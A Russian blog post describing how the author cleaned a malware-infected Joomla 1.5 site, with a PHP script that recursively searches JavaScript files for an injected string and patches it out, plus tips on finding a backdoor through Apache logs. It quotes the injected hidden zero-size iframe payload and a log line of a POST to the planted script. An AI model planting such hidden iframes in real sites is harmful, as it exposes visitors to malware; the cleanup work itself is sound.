Статья устарела!!!
Новая статья по лечению и удалению вирусов!!!
По горячим следам, одной работы решил написать статью. Обратился заказчик. У него сайт на joomla 1.5. Yandex и Google ругаются на наличие вредоносного ПО на сайте. Джумла весьма рапространена в Рунете и не только, подобные заказы регулярно попадаются на freee-lance.ru, поэтому статья актуальна.
Далее опишу пошаговый перечень действий.
Как проверить на вирус онлайн?
Для начала выясним, был ли мальчик? Общую сводку можно посмотреть на http://www.virustotal.com . Этот сервис собирает данные со всех основных антивирусных и выдает подборку результатов сканирования. В подборке более 20 онлайн сервисов.
В моем случае известно, что yandex и google обнаруживают "Сайт может угрожать безопасности вашего компьютера или мобильного устройства".
Проверить можно простым запросом. В Яндексе ссылка http://yandex.ru/yandsearch?text=host:your_site.ru+|+host:www.your_site.ru (разумеется надо подставить свой сайт вместо your_site.ru и без http), а в Google — http://www.google.ru/safebrowsing/diagnostic?site=your_site.ru . Гугл более информативен. В моем случае, он выдал когда в последний раз обнаруживались вирусы и что самое важное домены, на которые ссылался вирус. Список доменов надо сохранить, он нам пригодится на следующем шаге.
Шаг 1. Меняем пароли.
Пароли надо поменять и к фтп и к админке Джумлы. Этим мы отсекаем сразу 2 возможных источника угрозы. Вирус на чужом компе и троян в броузере администратора.
Шаг 2. Скрипты на php для поиска вирусов.
В Инете можно найти несколько вариантов, достаточно сложных уже с сигнатурами троянов . Я же предпочитаю пользоваться самописным скриптом. Потому что его простота, позволяет обрабатывать большое кол-во файлов и не задумываться, что может не хватить времени на исполнение. А если и так, то всегда можно запускать не в корне, а просканить какую нибудь конкретную папку, где файлов поменьше. Скрипт рекурсивно обрабатывает и все вложенные папки.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 |
<?php /** * scan_files.php * author: fStrange * url: https://fstrange.ru/ * * Usage getFilesFromDir($dir, 'js','search_str'); search all js files recursive with 'search_str' */ header('Content-type: text/plain; charset=utf-8'); $dir = '.'; $a = getFilesFromDir($dir, 'js', ";document.write('<iframe"); //;document.write('<iframe //patch /*if($a) foreach($a as $v){ patch_f($v,";document.write('<iframe src=\"http://ya.ru\" scrolling=\"auto\" frameborder=\"no\" align=\"center\" height=\"5\" width=\"5\"></iframe>');",''); }*/ print_r($a); /** * search all files in dir recursive * @param $dir * @param string $sExtMask ex: 'js' find all *.js, or '' find all *.* files * @param string $sScan ex: 'mask' find files with string 'mask', or '' find all files * @return array */ function getFilesFromDir($dir, $sExtMask = '', $sScan = '') { $files = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != "..") { if (is_dir($dir . '/' . $file)) { $dir2 = $dir . '/' . $file; $files[] = getFilesFromDir($dir2, $sExtMask, $sScan); } else { if (!$sExtMask) $files[] = $dir . '/' . $file; else { $sExt = pathinfo($file, PATHINFO_EXTENSION); if ($sExtMask == $sExt) { if (!$sScan) $files[] = $dir . '/' . $file; else { $s = file_get_contents($dir . '/' . $file); if ($s && strpos($s, $sScan)) { $files[] = $dir . '/' . $file; } } } } } } } closedir($handle); } return array_flat($files); } function array_flat($array) { $tmp = array(); foreach ($array as $a) { if (is_array($a)) { $tmp = array_merge($tmp, array_flat($a)); } else { $tmp[] = $a; } } return $tmp; } function patch_f($sf, $sSearch, $sReplace) { $s = file_get_contents($sf); if ($s && strpos($s, $sSearch)) { $s = str_replace($sSearch, $sReplace, $s); file_put_contents($sf, $s); } } |
Я запустил скрипт в корне сайта, натравил его на все javascript и искал один из доменов, которые мне подсказал Гугл(помечены выше на картинке). И сразу попал. Скрипт выдал мне 34 файла. Изучив один из них, я понял, что троян стандартно дописывает iframe в конец джаваскрипта. Ифрэйм ссылается на вирусный сайт.
1 |
;document.write('<iframe src="http://fhddfh.dfgdg.fgf" scrolling="auto" frameborder="no" align="center" height="0" width="0"></iframe>'); |
Подозрительных доменов несколько, поэтому я сократил строку поиска, до ;document.write('<iframe , чтобы найти все файлы. После этого скрипт выдал мне уже 442 файла. I love Joomla 1.5 ! 🙂
Для лечения, достаточно удалить эти куски кода, но вначале надо найти источник угрозы. Иначе история повторится. Посмотрев на версию Джумлы, я обнаружил, что она древненькая. Кинув в корень, тестовый чистый от вируса javascript я обновил Джумлу., до последней версии в ветке 1.5. Версию 3.хх ставить желание не было, так как пришлось бы переделывать сайт да и отвалилась бы часть плагинов. После обновления я обнарушил, что тестовый javascript все равно заразился. Поиск в php файлах строки или домена ничего не дал. Чему я не был удивлен, обычно подобное шифруют. Поэтому пришлось искать подозрительное в логах посещений Apache.
Нарылась вот такая замечательная строчка.
1 |
94.242.233.48 - - [11/Dec/2012:07:58:05 +0400] "POST /images/banners/.cache_rxnmmk.php HTTP/1.0" 500 |
Зачем в Joomla в /images/banners/ лежит php скрипт? Скрипт с таким именем Инете не нашелся, т.е. он не имеет отношения к Джумле или ее плагинам. В каталоге только картинки. Смотрим тело скрипта, часть его зашифровано. Бинго!
Удаляем скрипт. После чего заливаем опять чистый тестовый javascript в корень. Немного побродил по сайту, еще поковырялся в коде, попил в кофе. Вернулся, тестовый джаваскрипт чист. Вот тперь можно удалять и вредоносный код из джаваскрипта. А чтобы не делать это вручную, у программиста есть мозг. 442 файла почистить вручную можно, но долго.
В моем скрипте, для чистки есть простенькая функция patch_f. Вбиваем в параметры полностью вредоносный код и прогоняем по зараженным файлам.
Не забыть проверить и плагины к Джумле. И обновить, те что потенциально небезопасны.
http://docs.joomla.org/Vulnerable_Extensions_List
Сообщить в Google и Yandex что вирусы удалены с сайта.
Это самый простой шаг. Необходимо зайти в Google Webmaster и Yandex Webmaster. Если сайт там не зарегистрирован, то добавить его. В Yandex Webmaster зайти в раздел "Безопасность" и отправить сайт на дополнительную проверку. Обычно она занимает до недели. С последним сайтом Яндекс справился на второй день.
В Google Webmaster — в раздел "Состояние — Вредоносные программы" и также отправить сайт на проверку. Гугл пошустрее и справляется обычно в течение 2-3 дней. С последним сайтом справился в тот же день.
Joomla поиск и удаление вирусов (Часть 2)
Вы можете обратиться ко мне за помощью в лечениии сайта.
Стоимость работы всего 800 руб.
Работа займет 1.5 — 2часа.
Вы получаете:
— поиск и устранение вируса и вредоносного кода— устранение уязвимости
— 6 месяцев гарантии
Контакты
Свежие комментарии